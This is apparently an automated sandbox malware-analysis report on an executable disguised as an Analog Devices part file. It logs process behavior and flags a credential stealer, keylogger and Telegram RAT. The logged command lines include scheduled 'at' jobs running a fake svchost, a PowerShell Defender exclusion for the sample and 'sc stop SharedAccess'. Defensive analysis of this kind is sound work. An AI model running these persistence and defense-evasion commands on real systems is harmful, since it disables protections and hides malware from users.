Target ID:	18
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Imagebase:	0x190000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe
Wow64 process (32bit):	false
Commandline:	"c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Imagebase:	0x1b0000
File size:	886'280 bytes
MD5 hash:	AFF06135F99901A5925F875B7122ABA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe
Wow64 process (32bit):	false
Commandline:	"c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Imagebase:	0x370000
File size:	886'280 bytes
MD5 hash:	AFF06135F99901A5925F875B7122ABA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe
Wow64 process (32bit):	true
Commandline:	"c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Imagebase:	0xf90000
File size:	886'280 bytes
MD5 hash:	AFF06135F99901A5925F875B7122ABA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000002.2943424726.00000000034AB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	04:12:36
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:12:37
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:12:37
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:12:37
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop SharedAccess
Imagebase:	0x9e0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc config Schedule start= auto
Imagebase:	0x9e0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc start Schedule
Imagebase:	0x9e0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	04:12:38
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	04:12:45
Start date:	10/10/2024
Path:	C:\Windows\System\explorer.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\system\explorer.exe" RO
Imagebase:	0x400000
File size:	281'001 bytes
MD5 hash:	5D171E84A564FF02737707557BC94C7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	04:12:51
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	04:12:51
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	04:12:51
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	04:12:51
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	04:12:51
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	04:12:51
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	04:12:52
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	04:12:52
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	04:12:52
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	04:12:53
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	04:12:53
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	04:12:53
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	04:12:53
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	04:12:53
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	0.6%
Total number of Nodes:	788
Total number of Limit Nodes:	41

Executed Functions

Function 0041E9D0 Relevance: 25.6, APIs: 17, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041E9EE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA1E
#525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA30
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA3B
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041EA4C
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA61
GetUserNameA.ADVAPI32(00000000), ref: 0041EA6D
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA7B
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA84
#537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041EA99
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAA4
__vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041EAAD
#616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041EABD
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAC8
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAD1
__vbaFreeStr.MSVBVM60(0041EB05,?,?,?,00000000,Function_000032B6), ref: 0041EAFE
__vbaErrorOverflow.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EB19

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$FreeMove$Error$#525#537#616AnsiBstrChkstkNameOverflowUnicodeUser
String ID:
API String ID: 281739284-0
Opcode ID: 51ebf8c25856d226b4dcde5673b463cf0edb45b4d208a7711fc342866f12040b
Instruction ID: 1a108948efa492097ea428c0624f2b892237f430c038d1a03950295591b49aee
Opcode Fuzzy Hash: 51ebf8c25856d226b4dcde5673b463cf0edb45b4d208a7711fc342866f12040b
Instruction Fuzzy Hash: 5D31CA75900249EFDB04EFA4DE4DBDEBBB8EB08715F108269E502B62A0DB745944CB64

Function 0040A840 Relevance: 809.7, APIs: 448, Strings: 13, Instructions: 2988COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0040A85E
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,Function_000032B6), ref: 0040A8B6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040A91C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000068), ref: 0040A97C
__vbaFreeObj.MSVBVM60 ref: 0040A9A5
__vbaEnd.MSVBVM60 ref: 0040A9BD
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040A9DD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040AA43
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,0000007C), ref: 0040AA9E
__vbaFreeObj.MSVBVM60 ref: 0040AAB9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406300,000001BC), ref: 0040AAFD
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040AB2F
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014), ref: 0040AB95
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000050), ref: 0040ABF2
#618.MSVBVM60(?,00000001), ref: 0040AC10
__vbaStrMove.MSVBVM60 ref: 0040AC1B
__vbaStrCmp.MSVBVM60(00406544,00000000), ref: 0040AC27
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040AC45
__vbaFreeObj.MSVBVM60(?,?,Function_000032B6), ref: 0040AC51
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,Function_000032B6), ref: 0040AC80
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040ACE6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000050), ref: 0040AD43
__vbaStrMove.MSVBVM60 ref: 0040AD74
__vbaFreeObj.MSVBVM60 ref: 0040AD7D
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,Function_000032B6), ref: 0040ADA2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040AE08
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000050), ref: 0040AE65
__vbaStrCat.MSVBVM60(00406544,?), ref: 0040AE86
__vbaStrMove.MSVBVM60 ref: 0040AE91
__vbaFreeStr.MSVBVM60 ref: 0040AE9A
__vbaFreeObj.MSVBVM60 ref: 0040AEA3
__vbaStrCopy.MSVBVM60 ref: 0040AEB8
__vbaStrMove.MSVBVM60(?), ref: 0040AECC
__vbaStrCopy.MSVBVM60 ref: 0040AED9
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040AEE9
__vbaStrMove.MSVBVM60(00000025,?,?,?,?,?,Function_000032B6), ref: 0040AF05
__vbaStrCopy.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 0040AF12
__vbaFreeStr.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 0040AF1B
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,?,Function_000032B6), ref: 0040AF3B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040AFA1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000058), ref: 0040AFFE
